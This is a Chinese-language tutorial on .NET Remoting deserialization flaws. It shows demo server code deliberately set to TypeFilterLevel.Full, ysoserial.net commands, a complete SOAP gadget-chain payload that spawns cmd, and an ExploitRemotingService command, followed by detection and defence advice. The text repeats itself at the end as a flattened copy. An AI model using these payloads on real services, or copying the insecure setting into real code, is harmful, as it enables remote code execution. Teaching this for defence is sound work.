.net反序列化之.net remoting
字数 1928 2025-08-05 08:18:57

.NET Remoting 反序列化漏洞分析与利用

1. .NET Remoting 基础概念

.NET Remoting 是一种在不同进程间传递对象的方式,类似于 Java 中的 RMI 技术。它允许客户端和服务端通过远程调用方式交互,即使它们位于不同的应用程序域(AppDomain)或不同的机器上。

1.1 传输协议

.NET Remoting 支持三种主要协议:

  1. IpcChannel:用于本机进程间通信,使用 IPC 协议,速度最快但仅限于本机通信
  2. TcpChannel:基于 TCP 传输,使用二进制序列化,效率高
  3. HttpChannel:基于 HTTP 传输,使用 SOAP 序列化,兼容性强

2. .NET Remoting 基本实现

2.1 远程对象类

远程对象类必须继承 MarshalByRefObject 才能跨域传输:

using System;

namespace RemoteDemoObject
{
    public class RemoteDemoObjectClass : MarshalByRefObject
    {
        public int count = 0;

        public int GetCount()
        {
            Console.WriteLine("GetCount called.");
            return count++;
        }
    }
}

2.2 服务端实现

HttpChannel 服务端示例

using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using RemoteDemoObject;

namespace RemoteDemoServer
{
    class Program
    {
        static void Main(string[] args)
        {
            HttpServerChannel httpServerChannel = new HttpServerChannel(9999);
            ChannelServices.RegisterChannel(httpServerChannel, false);
            RemotingConfiguration.RegisterWellKnownServiceType(
                typeof(RemoteDemoObjectClass), 
                "RemoteDemoObjectClass.rem", 
                WellKnownObjectMode.Singleton);

            Console.WriteLine("server has been start");
            Console.ReadKey();
        }
    }
}

TcpChannel 服务端示例

using System;
using System.Collections;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Tcp;
using System.Runtime.Serialization.Formatters;
using RemoteDemoObject;

namespace RemoteDemoServer
{
    class Program
    {
        static void Main(string[] args)
        {
            BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider()
            {
                TypeFilterLevel = TypeFilterLevel.Full
            };

            IDictionary hashtables = new Hashtable();
            hashtables["port"] = 9999;

            TcpServerChannel tcpServerChannel = new TcpServerChannel(hashtables, binary);
            ChannelServices.RegisterChannel(tcpServerChannel, false);
            RemotingConfiguration.RegisterWellKnownServiceType(
                typeof(RemoteDemoObjectClass), 
                "RemoteDemoObjectClass.rem", 
                WellKnownObjectMode.Singleton);

            Console.WriteLine("server has been start");
            Console.ReadKey();
        }
    }
}

2.3 客户端实现

HttpChannel 客户端示例

using RemoteDemoObject;
using System;

namespace RemoteDemoClient
{
    class Program
    {
        static void Main(string[] args)
        {
            string serverAddress = "http://localhost:9999/RemoteDemoObjectClass.rem";
            RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(
                typeof(RemoteDemoObjectClass), 
                serverAddress);

            Console.WriteLine("call GetCount() get return value:{0}", obj1.GetCount());
            Console.ReadKey();
        }
    }
}

TcpChannel 客户端示例

using RemoteDemoObject;
using System;

namespace RemoteDemoClient
{
    class Program
    {
        static void Main(string[] args)
        {
            string serverAddress = "tcp://localhost:9999/RemoteDemoObjectClass.rem";
            RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(
                typeof(RemoteDemoObjectClass), 
                serverAddress);

            Console.WriteLine("get string:\t{0}", obj1.GetCount());
            Console.ReadKey();
        }
    }
}

3. 漏洞原理

3.1 漏洞产生原因

漏洞的核心在于 TypeFilterLevel 属性的设置:

BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider()
{
    TypeFilterLevel = TypeFilterLevel.Full
};

TypeFilterLevel 是一个枚举,有两个值:

  1. Low:仅反序列化与基本远程处理功能相关联的类型(安全)
  2. Full:反序列化所有类型(危险)

当设置为 Full 时,攻击者可以构造恶意序列化数据实现远程代码执行。

3.2 序列化机制

  • HttpChannel:使用 SoapServerFormatterSinkProvider 进行 SOAP 序列化
  • TcpChannel:使用 BinaryServerFormatterSinkProvider 进行二进制序列化

4. 漏洞利用

4.1 攻击 HttpServerChannel

  1. 构造 SOAP 格式的恶意序列化数据
  2. 使用 ysoserial.net 生成 payload:
.\ysoserial.exe -f soapformatter -g TextFormattingRunProperties -c calc
  1. 发送恶意 SOAP 请求到 remoting 端点

示例 SOAP payload(部分):

<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3">&#60;?xml version=&#34;1.0&#34; encoding=&#34;utf-16&#34;?&#62;
&#60;ObjectDataProvider MethodName=&#34;Start&#34; IsInitialLoadEnabled=&#34;False&#34; xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34; xmlns:sd=&#34;clr-namespace:System.Diagnostics;assembly=System&#34; xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;&#62;
  &#60;ObjectDataProvider.ObjectInstance&#62;
    &#60;sd:Process&#62;
      &#60;sd:Process.StartInfo&#62;
        &#60;sd:ProcessStartInfo Arguments=&#34;/c calc&#34; StandardErrorEncoding=&#34;{x:Null}&#34; StandardOutputEncoding=&#34;{x:Null}&#34; UserName=&#34;&#34; Password=&#34;{x:Null}&#34; Domain=&#34;&#34; LoadUserProfile=&#34;False&#34; FileName=&#34;cmd&#34; /&#62;
      &#60;/sd:Process.StartInfo&#62;
    &#60;/sd:Process&#62;
  &#60;/ObjectDataProvider.ObjectInstance&#62;
&#60;/ObjectDataProvider&#62;</ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

4.2 攻击 TcpServerChannel

  1. 使用 ysoserial.net 生成 base64 编码的二进制 payload:
.\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc -o base64
  1. 使用 ExploitRemotingService 工具发送 payload:
.\ExploitRemotingService tcp://localhost:9999/RemoteDemoObjectClass.rem raw [base64_payload]

5. 漏洞检测

5.1 识别 .NET Remoting 服务

  1. 端口扫描:使用 nmap 扫描常见 remoting 端口
  2. URI 特征:查找以 .rem 结尾的 URI 端点
  3. 协议特征
    • HttpChannel:SOAP 格式的 HTTP 请求
    • TcpChannel:以 .NET 开头的二进制数据流

5.2 审计要点

  1. 检查代码中 TcpChannelHttpChannel 的实例化
  2. 确认 TypeFilterLevel 是否设置为 Full
  3. 查找 RemotingConfiguration.RegisterWellKnownServiceType 调用
  4. 检查全局配置 ConfigurationManager.AppSettings.Set("microsoft:Remoting:AllowTransparentProxyMessage", false) 是否设置

6. 防御措施

  1. 避免使用 TypeFilterLevel.Full

    new BinaryServerFormatterSinkProvider { TypeFilterLevel = TypeFilterLevel.Low }
    
  2. 使用安全传输:启用 SSL/TLS 加密通信

  3. 输入验证:对 remoting 端点实施严格的输入验证

  4. 最小权限原则:以最低必要权限运行服务

  5. 升级框架:使用最新版本的 .NET 框架

7. 工具与资源

  1. ysoserial.net:生成各种格式的序列化 payload

    • GitHub: https://github.com/pwntester/ysoserial.net
  2. ExploitRemotingService:专门用于攻击 .NET Remoting 的工具

    • GitHub: https://github.com/tyranid/ExploitRemotingService
  3. VulnerableDotNetHTTPRemoting:漏洞演示项目

    • 可用于学习和测试

8. 总结

.NET Remoting 反序列化漏洞是一个严重的安全问题,攻击者可以利用它实现远程代码执行。理解其工作原理、利用方法和防御措施对于开发和安全人员都至关重要。在实际应用中,应避免使用 TypeFilterLevel.Full,并实施其他安全措施来降低风险。

.NET Remoting 反序列化漏洞分析与利用 1. .NET Remoting 基础概念 .NET Remoting 是一种在不同进程间传递对象的方式,类似于 Java 中的 RMI 技术。它允许客户端和服务端通过远程调用方式交互,即使它们位于不同的应用程序域(AppDomain)或不同的机器上。 1.1 传输协议 .NET Remoting 支持三种主要协议: IpcChannel :用于本机进程间通信,使用 IPC 协议,速度最快但仅限于本机通信 TcpChannel :基于 TCP 传输,使用二进制序列化,效率高 HttpChannel :基于 HTTP 传输,使用 SOAP 序列化,兼容性强 2. .NET Remoting 基本实现 2.1 远程对象类 远程对象类必须继承 MarshalByRefObject 才能跨域传输: 2.2 服务端实现 HttpChannel 服务端示例 TcpChannel 服务端示例 2.3 客户端实现 HttpChannel 客户端示例 TcpChannel 客户端示例 3. 漏洞原理 3.1 漏洞产生原因 漏洞的核心在于 TypeFilterLevel 属性的设置: TypeFilterLevel 是一个枚举,有两个值: Low :仅反序列化与基本远程处理功能相关联的类型(安全) Full :反序列化所有类型(危险) 当设置为 Full 时,攻击者可以构造恶意序列化数据实现远程代码执行。 3.2 序列化机制 HttpChannel :使用 SoapServerFormatterSinkProvider 进行 SOAP 序列化 TcpChannel :使用 BinaryServerFormatterSinkProvider 进行二进制序列化 4. 漏洞利用 4.1 攻击 HttpServerChannel 构造 SOAP 格式的恶意序列化数据 使用 ysoserial.net 生成 payload: 发送恶意 SOAP 请求到 remoting 端点 示例 SOAP payload(部分): 4.2 攻击 TcpServerChannel 使用 ysoserial.net 生成 base64 编码的二进制 payload: 使用 ExploitRemotingService 工具发送 payload: 5. 漏洞检测 5.1 识别 .NET Remoting 服务 端口扫描 :使用 nmap 扫描常见 remoting 端口 URI 特征 :查找以 .rem 结尾的 URI 端点 协议特征 : HttpChannel:SOAP 格式的 HTTP 请求 TcpChannel:以 .NET 开头的二进制数据流 5.2 审计要点 检查代码中 TcpChannel 或 HttpChannel 的实例化 确认 TypeFilterLevel 是否设置为 Full 查找 RemotingConfiguration.RegisterWellKnownServiceType 调用 检查全局配置 ConfigurationManager.AppSettings.Set("microsoft:Remoting:AllowTransparentProxyMessage", false) 是否设置 6. 防御措施 避免使用 TypeFilterLevel.Full : 使用安全传输 :启用 SSL/TLS 加密通信 输入验证 :对 remoting 端点实施严格的输入验证 最小权限原则 :以最低必要权限运行服务 升级框架 :使用最新版本的 .NET 框架 7. 工具与资源 ysoserial.net :生成各种格式的序列化 payload GitHub: https://github.com/pwntester/ysoserial.net ExploitRemotingService :专门用于攻击 .NET Remoting 的工具 GitHub: https://github.com/tyranid/ExploitRemotingService VulnerableDotNetHTTPRemoting :漏洞演示项目 可用于学习和测试 8. 总结 .NET Remoting 反序列化漏洞是一个严重的安全问题,攻击者可以利用它实现远程代码执行。理解其工作原理、利用方法和防御措施对于开发和安全人员都至关重要。在实际应用中,应避免使用 TypeFilterLevel.Full ,并实施其他安全措施来降低风险。